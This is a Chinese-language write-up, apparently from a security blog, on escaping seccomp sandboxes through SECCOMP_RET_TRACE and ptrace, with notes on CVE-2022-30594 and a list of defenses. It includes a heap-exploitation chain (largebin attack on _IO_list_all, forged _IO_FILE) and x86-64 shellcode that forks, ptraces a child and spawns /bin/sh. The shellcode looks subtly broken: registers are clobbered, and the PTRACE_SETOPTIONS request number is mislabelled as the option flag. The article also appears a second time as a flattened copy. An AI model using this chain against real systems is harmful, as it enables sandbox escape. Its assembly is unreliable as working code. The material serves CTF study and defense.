SECCOMP_RET_TRACE沙箱绕过
字数 1583 2025-08-29 08:30:06

SECCOMP_RET_TRACE沙箱绕过技术分析与实践

1. 背景介绍

SECCOMP(Secure Computing)是Linux内核提供的一种安全机制,用于限制进程可以执行的系统调用。当SECCOMP过滤器返回SECCOMP_RET_TRACE时,内核会通知ptrace跟踪器,这为沙箱绕过提供了可能性。

2. SECCOMP_RET_TRACE与SECCOMP_RET_KILL的区别

特性 SECCOMP_RET_TRACE SECCOMP_RET_KILL
行为 通知ptrace跟踪器 直接终止进程
干预机会 可修改参数或返回值 无干预机会
无调试器时 返回ENOSYS错误 直接终止

3. SECCOMP_RET_TRACE工作机制

当seccomp过滤器返回SECCOMP_RET_TRACE时:

  1. 内核检查是否有ptrace(2)附加的调试器
  2. 如果没有调试器,系统调用被阻断,返回ENOSYS
  3. 如果有调试器:
    • 调试器通过PTRACE_SETOPTIONS设置PTRACE_O_TRACESECCOMP
    • 内核发送PTRACE_EVENT_SECCOMP信号
    • 调试器可通过PTRACE_GETEVENTMSG获取SECCOMP_RET_DATA

调试器干预方式:

  1. 跳过系统调用(系统调用号改为-1)
  2. 篡改系统调用(修改为其他有效值)
  3. 伪造返回值(通过寄存器注入)

4. 内核版本差异

Linux < 4.8的行为

  • 调试器处理后,内核不会重新执行seccomp检查
  • 存在沙箱逃逸风险:攻击者可完全绕过过滤规则

Linux ≥ 4.8的行为

  • 调试器修改操作后,内核会再次检查
  • 危险操作仍会被拒绝

5. CVE-2022-30594漏洞分析

影响版本:Linux内核5.17.2之前

漏洞本质

  • PTRACE_SEIZE操作中未正确校验PT_SUSPEND_SECCOMP标志的设置权限
  • 攻击者可绕过seccomp对敏感系统调用的限制

利用条件

  1. 存在可用的内存破坏漏洞(如UAF)
  2. 目标系统内核版本在受影响范围内
  3. 能够执行fork和ptrace操作

6. 利用技术实践

6.1 前置准备

  1. 泄露libc和堆地址
  2. 通过largebin attack攻击_IO_list_all
  3. 使用mprotect开辟可执行内存区域

6.2 shellcode编写要点

; 1. fork创建子进程
fork:
    mov rax, 57     ; fork系统调用号
    syscall
    test rax, rax
    jz child_process

; 2. 父进程追踪子进程
parent_process:
    ; ptrace(PTRACE_ATTACH, pid, 0, 0)
    mov rdi, rax    ; 子进程PID
    mov rsi, 16     ; PTRACE_ATTACH
    xor rdx, rdx
    xor r10, r10
    mov rax, 101    ; ptrace系统调用号
    syscall
    
    ; wait4(pid, &status, 0, NULL)
    mov rdi, rax
    lea rsi, [rsp-8]
    xor rdx, rdx
    xor r10, r10
    mov rax, 61     ; wait4系统调用号
    syscall
    
    ; ptrace(PTRACE_SETOPTIONS, pid, 0, PTRACE_O_TRACESECCOMP)
    mov rsi, 0x4200 ; PTRACE_O_TRACESECCOMP
    mov rax, 101
    syscall
    
    ; ptrace(PTRACE_CONT, pid, 0, 0)
    mov rsi, 7      ; PTRACE_CONT
    mov rax, 101
    syscall
    jmp exit

; 3. 子进程执行execve("/bin/sh")
child_process:
    ; ptrace(PTRACE_TRACEME, 0, 0, 0)
    xor rdi, rdi
    mov rsi, 0      ; PTRACE_TRACEME
    xor rdx, rdx
    xor r10, r10
    mov rax, 101
    syscall
    
    ; execve("/bin/sh", NULL, NULL)
    xor rsi, rsi
    push rsi
    mov rdi, 0x68732f6e69622f ; "/bin/sh"
    push rdi
    mov rdi, rsp
    xor rdx, rdx
    mov rax, 59     ; execve系统调用号
    syscall

exit:
    mov rax, 60     ; exit系统调用号
    syscall

6.3 完整利用步骤

  1. 利用UAF等漏洞泄露内存地址
  2. 构造largebin attack修改_IO_list_all
  3. 伪造_IO_FILE结构体(如使用house of obstack)
  4. 将vtable指向可控区域
  5. 在可控区域布置shellcode
  6. 触发IO操作执行shellcode
  7. shellcode中:
    • fork子进程
    • 父进程ptrace追踪子进程
    • 子进程执行被禁止的系统调用
    • 父进程修改子进程的系统调用行为

7. 防御措施

  1. 更新内核至5.17.2或更高版本
  2. 在seccomp规则中禁止ptrace相关系统调用
  3. 使用SECCOMP_FILTER_FLAG_TSYNC同步线程规则
  4. 最小化进程权限(如使用no_new_privs)
  5. 结合namespace等隔离机制增强防护

8. 总结

SECCOMP_RET_TRACE机制原本用于调试目的,但在特定条件下可能被用于沙箱逃逸。理解其工作原理和内核版本差异对于安全开发和漏洞利用都至关重要。防御方应确保使用最新的内核版本和适当的seccomp配置,而攻击者则可以利用这些知识在CTF比赛或安全研究中突破限制。

SECCOMP_ RET_ TRACE沙箱绕过技术分析与实践 1. 背景介绍 SECCOMP(Secure Computing)是Linux内核提供的一种安全机制,用于限制进程可以执行的系统调用。当SECCOMP过滤器返回SECCOMP_ RET_ TRACE时,内核会通知ptrace跟踪器,这为沙箱绕过提供了可能性。 2. SECCOMP_ RET_ TRACE与SECCOMP_ RET_ KILL的区别 | 特性 | SECCOMP_ RET_ TRACE | SECCOMP_ RET_ KILL | |------|------------------|------------------| | 行为 | 通知ptrace跟踪器 | 直接终止进程 | | 干预机会 | 可修改参数或返回值 | 无干预机会 | | 无调试器时 | 返回ENOSYS错误 | 直接终止 | 3. SECCOMP_ RET_ TRACE工作机制 当seccomp过滤器返回SECCOMP_ RET_ TRACE时: 内核检查是否有ptrace(2)附加的调试器 如果没有调试器,系统调用被阻断,返回ENOSYS 如果有调试器: 调试器通过 PTRACE_SETOPTIONS 设置 PTRACE_O_TRACESECCOMP 内核发送 PTRACE_EVENT_SECCOMP 信号 调试器可通过 PTRACE_GETEVENTMSG 获取 SECCOMP_RET_DATA 调试器干预方式: 跳过系统调用(系统调用号改为-1) 篡改系统调用(修改为其他有效值) 伪造返回值(通过寄存器注入) 4. 内核版本差异 Linux < 4.8的行为 调试器处理后,内核不会重新执行seccomp检查 存在沙箱逃逸风险:攻击者可完全绕过过滤规则 Linux ≥ 4.8的行为 调试器修改操作后,内核会再次检查 危险操作仍会被拒绝 5. CVE-2022-30594漏洞分析 影响版本 :Linux内核5.17.2之前 漏洞本质 : PTRACE_SEIZE 操作中未正确校验 PT_SUSPEND_SECCOMP 标志的设置权限 攻击者可绕过seccomp对敏感系统调用的限制 利用条件 : 存在可用的内存破坏漏洞(如UAF) 目标系统内核版本在受影响范围内 能够执行fork和ptrace操作 6. 利用技术实践 6.1 前置准备 泄露libc和堆地址 通过largebin attack攻击 _IO_list_all 使用 mprotect 开辟可执行内存区域 6.2 shellcode编写要点 6.3 完整利用步骤 利用UAF等漏洞泄露内存地址 构造largebin attack修改 _IO_list_all 伪造 _IO_FILE 结构体(如使用house of obstack) 将vtable指向可控区域 在可控区域布置shellcode 触发IO操作执行shellcode shellcode中: fork子进程 父进程ptrace追踪子进程 子进程执行被禁止的系统调用 父进程修改子进程的系统调用行为 7. 防御措施 更新内核至5.17.2或更高版本 在seccomp规则中禁止ptrace相关系统调用 使用 SECCOMP_FILTER_FLAG_TSYNC 同步线程规则 最小化进程权限(如使用no_ new_ privs) 结合namespace等隔离机制增强防护 8. 总结 SECCOMP_ RET_ TRACE机制原本用于调试目的,但在特定条件下可能被用于沙箱逃逸。理解其工作原理和内核版本差异对于安全开发和漏洞利用都至关重要。防御方应确保使用最新的内核版本和适当的seccomp配置,而攻击者则可以利用这些知识在CTF比赛或安全研究中突破限制。